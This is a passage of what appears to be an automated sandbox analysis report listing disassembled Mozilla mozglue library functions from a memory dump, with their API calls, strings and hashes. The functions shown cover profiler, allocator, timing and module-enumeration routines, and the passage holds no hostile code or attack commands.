Part of subcall function 6CC45E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CC45F7E

free.MOZGLUE(?), ref: 6CC7F9C5
free.MOZGLUE(?), ref: 6CC7F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CC7F9A6
" attempted to re-register as ", xrefs: 6CC7F858
Thread , xrefs: 6CC7F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CC7F71F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c66a9351c0306b8c0f8c4c1117e93bd22392f4005b919855b4b4c0a71354169d
Instruction ID: ef62768611038c41c543cf344f1f53f6099619e0f22c236f2ac275540298683b
Opcode Fuzzy Hash: c66a9351c0306b8c0f8c4c1117e93bd22392f4005b919855b4b4c0a71354169d
Instruction Fuzzy Hash: 3D8113756046009FDB21DF64C880AAEB7B5FF85308F45852DE8499BB51FB31E849CBA2

Function 6CC44180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CC44196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CC441F1
VerSetConditionMask.NTDLL ref: 6CC44223
VerSetConditionMask.NTDLL ref: 6CC4422A
VerSetConditionMask.NTDLL ref: 6CC44231
VerSetConditionMask.NTDLL ref: 6CC44238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC44245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CC44263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6CC4427A
FreeLibrary.KERNEL32(?), ref: 6CC44299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CC442C4
VerSetConditionMask.NTDLL ref: 6CC442F6
VerSetConditionMask.NTDLL ref: 6CC44302
VerSetConditionMask.NTDLL ref: 6CC44309
VerSetConditionMask.NTDLL ref: 6CC44310
VerSetConditionMask.NTDLL ref: 6CC44317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CC44324

Strings

SetProcessDpiAwareness, xrefs: 6CC44274
Shcore.dll, xrefs: 6CC4425E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 9a54b90918df0b6717ae368c4e16397bd3c35999c1caa8097a8d3e89c9a4abf2
Instruction ID: 8989e7832bf2b970179ef2b4b42e176b9d85b1e639f600e84a4992e028176c8b
Opcode Fuzzy Hash: 9a54b90918df0b6717ae368c4e16397bd3c35999c1caa8097a8d3e89c9a4abf2
Instruction Fuzzy Hash: C851E371B402156BEB20AFB5CC48BAA77BCEF86B14F118558F905A76C0EB74DD40CBA0

Function 6CC7EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7EE60
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EE6D
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC7EEA5
CloseHandle.KERNEL32(?), ref: 6CC7EEB4
free.MOZGLUE(00000000), ref: 6CC7EEBB
GetCurrentThreadId.KERNEL32 ref: 6CC7EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7EECF

Part of subcall function 6CC7DE60: GetCurrentThreadId.KERNEL32 ref: 6CC7DE73
Part of subcall function 6CC7DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CC44A68), ref: 6CC7DE7B
Part of subcall function 6CC7DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CC44A68), ref: 6CC7DEB8
Part of subcall function 6CC7DE60: free.MOZGLUE(00000000,?,6CC44A68), ref: 6CC7DEFE
Part of subcall function 6CC7DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC7DF38

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CC7EF1E
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EF2B
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EF59
GetCurrentThreadId.KERNEL32 ref: 6CC7EFB0
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EFBD
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EFE1
GetCurrentThreadId.KERNEL32 ref: 6CC7EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F000

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC7F02F

Part of subcall function 6CC7F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7F09B
Part of subcall function 6CC7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC7F0AC
Part of subcall function 6CC7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC7F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CC7F008
[I %d/%d] profiler_stop, xrefs: 6CC7EED7

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 5483e2aab6c3eab869ae772fb9327020999dd2a733a07ac593c55c44745bd969
Instruction ID: 87cc19eaa7ff1862e149d7e13b61f96da5ddd9fa91974ee0a6cb559ff2303005
Opcode Fuzzy Hash: 5483e2aab6c3eab869ae772fb9327020999dd2a733a07ac593c55c44745bd969
Instruction Fuzzy Hash: FE51363E6002209FDB105BE9D8587AAB7B4EB47328F14052AF91583F41FB754804CBBA

Function 6CC6D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CCBE804), ref: 6CC6D047
GetSystemInfo.KERNEL32(?), ref: 6CC6D093
__Init_thread_footer.LIBCMT ref: 6CC6D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CCBE810,00000040), ref: 6CC6D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBE7B8,00001388), ref: 6CC6D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBE744,00001388), ref: 6CC6D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBE784,00001388), ref: 6CC6D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CCBE7DC,00001388), ref: 6CC6D1B1

Strings

<jemalloc>, xrefs: 6CC6D268, 6CC6D311
Compile-time page size does not divide the runtime one., xrefs: 6CC6D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6CC6D322
MOZ_CRASH(), xrefs: 6CC6D277
MALLOC_OPTIONS, xrefs: 6CC6D0CB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 2e8aafadb6554c9b257a7ac61c0ee5870f99878bc684381d5172db8926274143
Instruction ID: c50c1e093bbb7c57f3f528629ea322eb351c608e084e2fffade4dd2aab1bc9e8
Opcode Fuzzy Hash: 2e8aafadb6554c9b257a7ac61c0ee5870f99878bc684381d5172db8926274143
Instruction Fuzzy Hash: 4581D170B042109BEB009FEADA94B6937B4FB46B04F2405AEE901E7F80F7759805CBD9

Function 6CC7FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC7FADC
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7FAE9
GetCurrentThreadId.KERNEL32 ref: 6CC7FB31
GetCurrentThreadId.KERNEL32 ref: 6CC7FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CC7FBF6
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7FC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6CC7FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6CC7FC94

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: c67b009fcc7ef0ca7a60793078063a90ac4d6967bea74b28e87266df6164a36f
Instruction ID: f0f123e6eaaf4642fa327aac64b96fc3142f8f51e3346d77a6f10b3431b504db
Opcode Fuzzy Hash: c67b009fcc7ef0ca7a60793078063a90ac4d6967bea74b28e87266df6164a36f
Instruction Fuzzy Hash: B371F075A04700CFD720DF69C494B6AB7F1FF8A348F11856AE84587B61FB30A805CBA6

Function 6CC45E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC45E9D

Part of subcall function 6CC55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CC556EE,?,00000001), ref: 6CC55B85
Part of subcall function 6CC55B50: EnterCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55B90
Part of subcall function 6CC55B50: LeaveCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55BD8
Part of subcall function 6CC55B50: GetTickCount64.KERNEL32 ref: 6CC55BE4

GetCurrentThreadId.KERNEL32 ref: 6CC45EAB
GetCurrentThreadId.KERNEL32 ref: 6CC45EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC45ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CC46017

Part of subcall function 6CC34310: moz_xmalloc.MOZGLUE(00000010,?,6CC342D2), ref: 6CC3436A
Part of subcall function 6CC34310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CC342D2), ref: 6CC34387

moz_xmalloc.MOZGLUE(00000004), ref: 6CC45F47
GetCurrentProcess.KERNEL32 ref: 6CC45F53
GetCurrentThread.KERNEL32 ref: 6CC45F5C
GetCurrentProcess.KERNEL32 ref: 6CC45F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CC45F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CC45F27

Part of subcall function 6CC4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CC4CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC455E1), ref: 6CC45E8C

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC455E1), ref: 6CC4605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC455E1), ref: 6CC460CC

Strings

GeckoMain, xrefs: 6CC45ECE, 6CC46015

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 17fa1146c72fb257d794f7379d2c5853f9092ce3f40034b6055d3b60330c6798
Instruction ID: 6814ab0d17035f7502bb5e2369cd3f8a2c49e669ea72b582e3892990ab10bded
Opcode Fuzzy Hash: 17fa1146c72fb257d794f7379d2c5853f9092ce3f40034b6055d3b60330c6798
Instruction Fuzzy Hash: C571E4B46057409FD700DF69C4C0A6ABBF0FF49304F54896DE48687B52EB31E849CB96

Function 6CC49590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CC33217
Part of subcall function 6CC331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CC33236
Part of subcall function 6CC331C0: FreeLibrary.KERNEL32 ref: 6CC3324B
Part of subcall function 6CC331C0: __Init_thread_footer.LIBCMT ref: 6CC33260
Part of subcall function 6CC331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CC3327F
Part of subcall function 6CC331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC3328E
Part of subcall function 6CC331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC332AB
Part of subcall function 6CC331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC332D1
Part of subcall function 6CC331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC332E5
Part of subcall function 6CC331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CC49675
__Init_thread_footer.LIBCMT ref: 6CC49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CC496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CC49707
__Init_thread_footer.LIBCMT ref: 6CC4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC49773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CC497B7
FreeLibrary.KERNEL32 ref: 6CC497D0
FreeLibrary.KERNEL32 ref: 6CC497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CC49824

Strings

NtMapViewOfSection, xrefs: 6CC49701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CC49670
ntdll.dll, xrefs: 6CC496E3
MapViewOfFileNuma2, xrefs: 6CC497B1

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 601137733288f0fa58f6143d9ae7cfdac585fd86eaf83e346e16b5998d57d83c
Instruction ID: 3f3e73885fe08f87aa6b912e3173862560fb48af3337b011478d0ee50b2c5c42
Opcode Fuzzy Hash: 601137733288f0fa58f6143d9ae7cfdac585fd86eaf83e346e16b5998d57d83c
Instruction Fuzzy Hash: D261F3796002119FDF00CFE9DA88B9A3BB8EB4A314F10C569F915A3B80E730E944CB95

Function 6CC33AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE768,?,00003000,00000004), ref: 6CC33AC5
LeaveCriticalSection.KERNEL32(6CCBE768,?,00003000,00000004), ref: 6CC33AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6CC33AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CC33B57
EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC33B81
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC33BA3
EnterCriticalSection.KERNEL32(6CCBE7B8), ref: 6CC33BAE
LeaveCriticalSection.KERNEL32(6CCBE7B8), ref: 6CC33C74
EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC33C8B
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC33C9F
LeaveCriticalSection.KERNEL32(6CCBE7B8), ref: 6CC33D5C
EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC33D67
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC33D8A

Part of subcall function 6CC70D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CC33DEF), ref: 6CC70D71
Part of subcall function 6CC70D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CC33DEF), ref: 6CC70D84

Strings

<jemalloc>, xrefs: 6CC33DC7
: (malloc) Error in VirtualFree(), xrefs: 6CC33DCC
MOZ_CRASH(), xrefs: 6CC33DB2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 457a1ab6eeece82258b6966f44ac4e4294e178f41e189859bed05e66ddc0cd48
Instruction ID: 1a0926d48a7e4d61aacb776ee7f06460a4d9f23debd1fc304d0061b72f735fca
Opcode Fuzzy Hash: 457a1ab6eeece82258b6966f44ac4e4294e178f41e189859bed05e66ddc0cd48
Instruction Fuzzy Hash: 7491E771B002148FDB04CFA9E8D475A77B2FF85714B285668E41AABB81F771E802CBD5

Function 6CC47FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CC48007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CC4801D

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CC4802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CC4803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CC4808D

Part of subcall function 6CC4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CC4CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CC4809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CC480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CC480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC4810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CC48133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CC48149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CC48167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CC4817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC48199

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 8f415ae40f9ab42d0608a286f46ed1209a72dbb847ddffdd64661b2790504f05
Instruction ID: 4cd7d63cff29f2e1093a616d45f45fd7a678a30df627b810b33d07ad6d71f922
Opcode Fuzzy Hash: 8f415ae40f9ab42d0608a286f46ed1209a72dbb847ddffdd64661b2790504f05
Instruction Fuzzy Hash: 895183B2E002149BDB00DBA9DC84AEFB7B9AF49364F148126E815E7741F735A905CBA1

Function 6CC411B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6CC41213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC41285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6CC412B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6CC41327

Strings

CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6CC4131B
&, xrefs: 6CC4126B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6CC412AD
